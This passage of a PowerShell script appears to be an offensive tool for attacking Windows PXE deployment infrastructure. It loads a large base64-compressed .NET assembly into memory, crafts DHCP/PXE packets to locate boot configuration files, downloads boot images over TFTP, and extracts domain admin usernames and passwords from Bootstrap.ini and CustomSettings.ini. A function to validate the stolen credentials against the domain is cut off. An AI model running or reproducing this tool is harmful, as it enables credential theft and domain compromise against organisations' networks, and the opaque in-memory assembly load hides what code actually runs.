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
'@
    
    $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
    $UncompressedFileBytes = New-Object Byte[](37888)
    $DeflatedStream.Read($UncompressedFileBytes, 0, 37888) | Out-Null
    [Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null
}
    
# Download file with TFTP
function Download-TFTP {

    Param(
        [String]$tftpserver,
        [String]$tftpfile,
        [String]$tftpoutput
    )
    
    # $global:TransferFinishedEvent = New-object System.Threading.AutoResetEvent($False)

    $pwd = Get-Location
    $tftpoutputfull = "$pwd\$tftpoutput"
    Write-Host ">> Launch TFTP download"
    
    $client = New-Object Tftp.Net.TftpClient($tftpserver)
    $transfer = $client.Download($tftpfile)
    $transfer.TransferMode = "octet"   
    
    # $transfer.OnFinished += ????

    $stream = [System.IO.StreamWriter]::new($tftpoutputfull)
    $transfer.Start($stream.BaseStream)
    
    # Must be perfrom with OnFinished event ... 
    Do{
        Sleep 5
    }While( (Get-Item $tftpoutputfull).Length  -lt $transfer.ExpectedSize )
    
    # $TransferFinishedEvent.WaitOne()
}

# Export wim path from bcd
Function Get-WimFile {

    Param(
        [String]$bcdFile
    )
    
    Write-Host ">> Parse the BCD file:" $bcdFile
    $BCDStore = Get-BCDStore -FilePath $bcdFile
    $BCDObjets = $BCDStore | Get-BCDObject -Type 270532611
    $CimMethodargs = @{}

    Foreach ($BCDObjet in $BCDObjets){
        $WimFiles += (Invoke-CimMethod -InputObject $BCDObjet -MethodName EnumerateElements $CimMethodargs).Elements.device.Path
        Write-Host ">>>> Identify wim file :" ((Invoke-CimMethod -InputObject $BCDObjet -MethodName EnumerateElements $CimMethodargs).Elements.device.Path | unique)
    }
    return $WimFiles | unique
}

# Detect bcd file on PXE server
Function Find-BcdFile {

    Param(
        [String]$InterfaceAlias
    )

    #
    # Main
    #
    
    # Define DHCP Transaction ID 
    $XID = New-Object Byte[] 4
    $Random = New-Object Random
    $Random.NextBytes($XID)

    Write-Host ">> Get a valid IP adress"
    Do{

        
        # Craft and send DHCP Discover 
        $Message = New-DhcpDiscoverPacket -XID $XID
        # Set UDP Port 68 (Server-to-Client port)
        $BindEndPoint = [Net.EndPoint](New-Object Net.IPEndPoint($([Net.IPAddress]::Any, 68)))
        # Set UDP Port 67 (Client-to-Server port)
        $SendEndPoint = [Net.EndPoint](New-Object Net.IPEndPoint($([Net.IPAddress]::Broadcast, 67)))
        $PXEInfo = Send-DhcpPacket -Message $Message -BindEndPoint $BindEndPoint -SendEndPoint $SendEndPoint
                
        Write-Host ">>> >>> DHCP proposal IP address:" $PXEInfo.YIAddr
        
        # Craft and send DHCP Request IP Packet
        $Message2 = New-DhcpDiscoverPacket -XID $XID -PXEinfo $PXEInfo
        $PXEInfo2 = Send-DhcpPacket -Message $Message2 -BindEndPoint $BindEndPoint -SendEndPoint $SendEndPoint

        Write-Host ">>> >>> DHCP Validation:" ($PXEInfo2.Options | Where-Object {$_.OptionCode -eq "53" }).OptionValue

    } While (($PXEInfo2.Options | Where-Object {$_.OptionCode -eq "53" }).OptionValue -ne "DHCPACK")
    
        $adapter = Get-NetAdapter -Name $InterfaceAlias
        If (($adapter | Get-NetIPConfiguration).IPv4Address.IPAddress) {
            $adapter | Remove-NetIPAddress -Confirm:$false
        }
        If (($adapter | Get-NetIPConfiguration).Ipv4DefaultGateway) {
            $adapter | Remove-NetRoute -Confirm:$false
        }
        
        $IP = $PXEInfo2.YIAddr
        $PrefixLength = Convert-RvNetSubnetMaskClassesToCidr ($PXEInfo2.Options | Where-Object {$_.OptionCode -eq "1" }).OptionValue
        $DefaultGateway = ($PXEInfo2.Options | Where-Object {$_.OptionCode -eq "3" }).OptionValue
        if($DefaultGateway){
            $null = $adapter | New-NetIPAddress -AddressFamily "IPv4" -IPAddress $IP -PrefixLength $PrefixLength -DefaultGateway $DefaultGateway -Confirm:$false
        }
        else{
            $null = $adapter | New-NetIPAddress -AddressFamily "IPv4" -IPAddress $IP -PrefixLength $PrefixLength -DefaultGateway $PXEInfo.SIAddr -Confirm:$false
        }
        Write-Host ">>> >>> IP address configured:" ($adapter | Get-NetIPConfiguration).IPv4Address.IPAddress
        Sleep 20
    
    if($PXEInfo){
        
        Write-Host ">> Request BCD File path"
        
        # Craft and send DHCP Request for BCD Packet
        $Message3 = New-DhcpRequestPacket  -PXEinfo $PXEInfo

        # UDP Port 68 (Server-to-Client port)    
        $BindEndPoint3 = [Net.EndPoint](New-Object Net.IPEndPoint($([Net.IPAddress]($PXEInfo.YIAddr), 68)))
        
        # UDP Port 4011 (Client-to-Server port)    
        $SendEndPoint3 = [Net.EndPoint](New-Object Net.IPEndPoint($([Net.IPAddress]($PXEInfo.SIAddr), 4011)))

        $PXEInfo3 = Send-DhcpPacket -Message $Message3 -BindEndPoint $BindEndPoint3 -SendEndPoint $SendEndPoint3

        $SourceFile = ($PXEInfo3.Options | Where-Object {$_.OptionCode -eq "252" }).OptionValue
        
        Write-Host ">>> >>> BCD File path: " $SourceFile
        Write-Host ">>> >>> TFTP IP Address: " $PXEInfo3.SIAddr
    }
    
    return $PXEInfo3
}

# Find credentials inside *.ini files
Function Get-FindCredentials {

    Param(
        [String]$WimFile
    )
    
    Write-Host ">> Open" $WimFile
    
    $pwd = Get-Location
    $WimFile = "$pwd\$WimFile"
    $WimDir = $WimFile.split(".")[0]
    
    $null = New-Item -ItemType directory -Path $WimDir
    $null = Expand-WindowsImage -ImagePath $WimFile -Index 1 -ApplyPath $WimDir
    
    $BootstrapPath = (Get-ChildItem -Filter "Bootstrap.ini" -r -ea Silent).FullName
    if($BootstrapPath){
        Write-Host ">>>> Finding Bootstrap.ini"
        $Bootstrap = Get-IniContent $BootstrapPath
        
        Write-Host ">>>> >>>> DeployRoot =" $Bootstrap.Default.DeployRoot
        Write-Host ">>>> >>>> UserID =" $Bootstrap.Default.UserID
        Write-Host ">>>> >>>> UserDomain =" $Bootstrap.Default.UserDomain
        Write-Host ">>>> >>>> UserPassword =" $Bootstrap.Default.UserPassword
        
        # Test-Authentification -Domain $Bootstrap.Default.UserDomain -UserName $Bootstrap.Default.UserID -Password $Bootstrap.Default.UserPassword
    }
    
    $CustomSettingsPath = (Get-ChildItem -Filter "CustomSettings.ini" -r -ea Silent).FullName
    if($CustomSettingsPath){
        Write-Host ">>>> Finding CustomSettings.ini"
        $CustomSettings = Get-IniContent $CustomSettingsPath
        
        Write-Host ">>>> >>>> DomainAdmin =" $CustomSettings.Default.DomainAdmin
        Write-Host ">>>> >>>> DomainAdminDomain =" $CustomSettings.Default.DomainAdminDomain
        Write-Host ">>>> >>>> DomainAdminpassword =" $CustomSettings.Default.DomainAdminpassword

        # Test-Authentification -Domain $CustomSettings.Default.DomainAdminDomain -UserName $CustomSettings.Default.DomainAdmin -Password $CustomSettings.Default.DomainAdminpassword
   
    }

}

# Test some credentials 
Function Test-Authentification {

    Param(
        [String]$Domain,
        [String]$UserName,
        [String]$Password
        
    )
    $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain
    $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext $ct,$Domain
    if($pc.ValidateCredentials($UserName,$Password)){
        $test = "ok"
